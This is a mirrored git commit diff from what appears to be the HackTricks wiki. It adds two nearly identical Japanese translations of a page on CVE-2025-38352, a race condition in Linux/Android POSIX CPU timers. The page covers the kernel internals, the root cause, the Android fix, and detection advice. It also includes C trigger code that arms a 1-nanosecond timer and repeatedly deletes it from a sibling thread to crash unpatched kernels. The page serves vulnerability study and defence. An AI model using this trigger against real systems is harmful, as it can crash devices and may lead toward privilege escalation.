mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu
This commit is contained in:
parent
39dd077c7f
commit
6305c2c6b6
@ -937,3 +937,5 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
@ -0,0 +1,195 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
このページでは、Linux/Android POSIX CPU timers に存在する TOCTOU レースコンディションについて記述する。これによりタイマー状態が破損しカーネルがクラッシュする可能性があり、場合によっては privilege escalation に向けて誘導できることがある。
|
||||
|
||||
- 影響を受けるコンポーネント: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: task exit 下での expiry vs deletion のレース
|
||||
- 設定依存: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Quick internals recap (relevant for exploitation)
|
||||
- タイマー会計は cpu_clock_sample() を介して 3 つの CPU クロックによって駆動される:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- タイマー作成時にタイマーを task/pid に紐付けし、timerqueue ノードを初期化する:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Armingはper-base timerqueueに挿入を行い、next-expiry cacheを更新することがある:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- ファストパスは、キャッシュされた期限切れ情報が発火の可能性を示す場合を除き、高コストな処理を回避します:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- 期限切れのタイマーを収集し、発火済みとしてマークし、キューから取り除く。実際の配信は保留される:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
2つの期限切れ処理モード
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 期限切れは対象タスクの task_work を介して延期される
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 期限切れは IRQ context で直接処理される
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
IRQ-contextパスでは、firing listはsighandの外で処理される
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
前提条件
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- 対象タスクは終了中だが完全に回収されていない
|
||||
- 別スレッドが同じタイマに対して posix_cpu_timer_del() を同時に呼び出す
|
||||
|
||||
Sequence
|
||||
1) update_process_times() は、終了中のタスクに対して IRQ コンテキストで run_posix_cpu_timers() を呼び出す。
|
||||
2) collect_timerqueue() は ctmr->firing = 1 を設定し、タイマを一時的な firing リストに移動する。
|
||||
3) handle_posix_cpu_timers() は unlock_task_sighand() を用いて sighand を解放し、ロック外でタイマを配信する。
|
||||
4) アンロック直後に終了中のタスクが回収され得る;別スレッドが posix_cpu_timer_del() を実行する。
|
||||
5) この間隙で、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を通じて状態を取得できない可能性があり、結果として timer->it.cpu.firing をチェックする通常のインフライトガードをスキップする。削除は未発火であるかのように進み、満了処理中に状態を破損してクラッシュや未定義動作(UB)を引き起こす。
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、満了は task_work に遅延される;exit_task_work は exit_notify より先に実行されるため、IRQ 時点での reaping との重なりは発生しない。
|
||||
- それでも、タスクが既に終了中であれば task_work_add() は失敗する;exit_state を条件にすることで両モードは整合する。
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- 現在のタスクが終了中であれば早期リターンを追加し、全処理を抑制する:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- これにより、終了中のタスクについて handle_posix_cpu_timers() への入りが防止され、posix_cpu_timer_del() が cpu.firing を見逃して expiry 処理と競合する可能性のあるウィンドウが排除されます。
|
||||
|
||||
Impact
|
||||
- タイマー構造体の同時 expiry/削除時のカーネルメモリ破損は、即時のクラッシュ(DoS)を引き起こす可能性があり、任意のカーネル状態を操作できる機会を通じて特権昇格への強力なプリミティブとなります。
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n を確実に設定し、exit_state gating fix を適用していないカーネルを使用する。
|
||||
|
||||
Runtime strategy
|
||||
- 終了直前のスレッドをターゲットにし、CPU タイマーをそれに割り当てる(per-thread または process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- 非常に短い初回 expiration と小さな間隔でアームして IRQ-path エントリを最大化する:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- 別の sibling thread から、target thread が終了する際に同じ timer を同時に削除する:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: 高い scheduler tick rate、CPU load、スレッドの終了/再作成サイクルの繰り返し。クラッシュは通常、unlock_task_sighand() の直後にタスクの lookup/lock に失敗して posix_cpu_timer_del() が firing を見逃すときに発生します。
|
||||
|
||||
検出と対策
|
||||
- Mitigation: exit_state ガードを適用する。可能な場合は CONFIG_POSIX_CPU_TIMERS_TASK_WORK を有効にすることを推奨。
|
||||
- Observability: unlock_task_sighand()/posix_cpu_timer_del() 周辺に tracepoints/WARN_ONCE を追加する。it.cpu.firing==1 が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に観測されたらアラートを出す。タスク終了時の timerqueue の不整合を監視する。
|
||||
|
||||
監査箇所(レビュアー向け)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() の選択(TASK_WORK vs IRQ パス)
|
||||
- collect_timerqueue(): ctmr->firing を設定しノードを移動する
|
||||
- handle_posix_cpu_timers(): firing ループの前に sighand を落とす
|
||||
- posix_cpu_timer_del(): in-flight の expiry を検出するために it.cpu.firing に依存している;タスクの lookup/lock が exit/reap 中に失敗するとこのチェックはスキップされる
|
||||
|
||||
エクスプロイト調査の注意点
|
||||
- 開示された挙動は信頼できるカーネルクラッシュプリミティブである。これを権限昇格に変えるには、通常この要約の範囲を超えた追加の制御可能なオーバーラップ(オブジェクト寿命や write-what-where の影響など)が必要になる。いかなる PoC も不安定化する可能性があるため、エミュレータ/VM 上でのみ実行すること。
|
||||
|
||||
## 参考
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,195 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
このページは、Linux/Android の POSIX CPU timers における TOCTOU race 条件を記述しており、タイマー状態を破損させ kernel をクラッシュさせる可能性があり、場合によっては privilege escalation に利用され得ます。
|
||||
|
||||
- 影響を受けるコンポーネント: kernel/time/posix-cpu-timers.c
|
||||
- プリミティブ: expiry vs deletion race under task exit
|
||||
- 設定依存: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQコンテキストのexpiryパス)
|
||||
|
||||
簡易内部要約(exploitation に関連)
|
||||
- 3つのCPUクロックが cpu_clock_sample() を介してタイマーのアカウンティングを駆動する:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- タイマー作成時に timer を task/pid に紐付け、timerqueue ノードを初期化する:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming は per-base timerqueue に挿入を行い、next-expiry cache を更新する場合があります:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- 高速パスは、キャッシュされた期限切れ情報が発火する可能性を示さない限り、重い処理を回避します:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- 期限切れ処理は期限切れのタイマーを収集し、発火としてマークし、キューから移動します。実際の配信は遅延されます:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
2つの満了処理モード
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 満了処理は対象タスクの task_work 経由で遅延される
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 満了処理はIRQコンテキストで直接処理される
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
IRQ コンテキスト経路では、発火リストは sighand の外で処理されます。
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
前提条件
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK が無効になっている(IRQ パスが使用されている)
|
||||
- 対象タスクは終了中だが完全には回収されていない
|
||||
- 別スレッドが同じタイマーに対して同時に posix_cpu_timer_del() を呼ぶ
|
||||
|
||||
Sequence
|
||||
1) update_process_times() が終了中のタスクに対して IRQ コンテキストで run_posix_cpu_timers() をトリガーする。
|
||||
2) collect_timerqueue() は ctmr->firing = 1 を設定し、タイマーを一時的な firing リストに移動する。
|
||||
3) handle_posix_cpu_timers() は unlock_task_sighand() を介して sighand を解放し、ロック外でタイマーを配信する。
|
||||
4) unlock の直後に終了中のタスクは reaped され得る;兄弟スレッドが posix_cpu_timer_del() を実行する。
|
||||
5) この間に、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を介して state を取得できず、timer->it.cpu.firing をチェックする通常のインフライトガードをスキップする可能性がある。削除は発火していないかのように進行し、expiry が処理されている間に状態を破壊してクラッシュや未定義動作(UB)を引き起こす。
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、expiry は task_work に延期される;exit_task_work は exit_notify より先に実行されるため、IRQ 時間での reaping と重なることはない。
|
||||
- それでも、タスクが既に終了中であれば task_work_add() は失敗する;exit_state によるゲーティングにより両モードは一貫する。
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- current タスクが終了中であれば早期にリターンを追加し、すべての処理をゲートする:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- これにより、終了中のタスクで handle_posix_cpu_timers() に入ることが防止され、posix_cpu_timer_del() が it.cpu.firing を見逃して expiry 処理とレースする可能性のあるウィンドウが排除されます。
|
||||
|
||||
Impact
|
||||
- 同時の expiry/削除 中にタイマ構造体のカーネルメモリが破損すると、即時クラッシュ(DoS)を引き起こす可能性があり、任意のカーネル状態を操作できる機会があるため privilege escalation に向けた強力なプリミティブになります。
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- 終了しようとしているスレッドをターゲットにし、そこに CPU タイマをアタッチします(スレッド単位またはプロセス全体のクロック):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- 非常に短い初回有効期限と短い間隔でアームして、IRQ-path エントリを最大化します:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- 別の sibling thread から、ターゲット thread が終了するのと同時に同じ timer を削除する:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- レースを助長する要因: 高いスケジューラのティックレート、CPU負荷、スレッドの退出/再作成を繰り返すサイクル。クラッシュは通常、unlock_task_sighand() 直後のタスク検索/ロックに失敗したために posix_cpu_timer_del() が発火を見逃すときに発生します。
|
||||
|
||||
検出とハードニング
|
||||
- 緩和策: exit_state ガードを適用する; 可能であれば CONFIG_POSIX_CPU_TIMERS_TASK_WORK を有効にすることを推奨。
|
||||
- 可観測性: unlock_task_sighand()/posix_cpu_timer_del() の周囲に tracepoints/WARN_ONCE を追加する; it.cpu.firing==1 が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に観測された場合にアラートする; タスク退出時の timerqueue の不整合を監視する。
|
||||
|
||||
監査のホットスポット(レビューア向け)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() の選択 (TASK_WORK vs IRQ パス)
|
||||
- collect_timerqueue(): ctmr->firing をセットしノードを移動する
|
||||
- handle_posix_cpu_timers(): 発火ループの前に sighand を落とす
|
||||
- posix_cpu_timer_del(): it.cpu.firing に依存して進行中の期限切れを検出する; このチェックは exit/reap 中にタスクの検索/ロックが失敗した場合にスキップされる
|
||||
|
||||
エクスプロイト研究の注意事項
|
||||
- 公開された挙動は信頼性の高い kernel crash primitive です; これを privilege escalation に変えるには通常、この要約の範囲外でオブジェクト寿命や write-what-where のような追加の制御可能なオーバーラップが必要になります。任意の PoC はシステムを不安定にする可能性があるため、emulators/VMs 上でのみ実行してください。
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user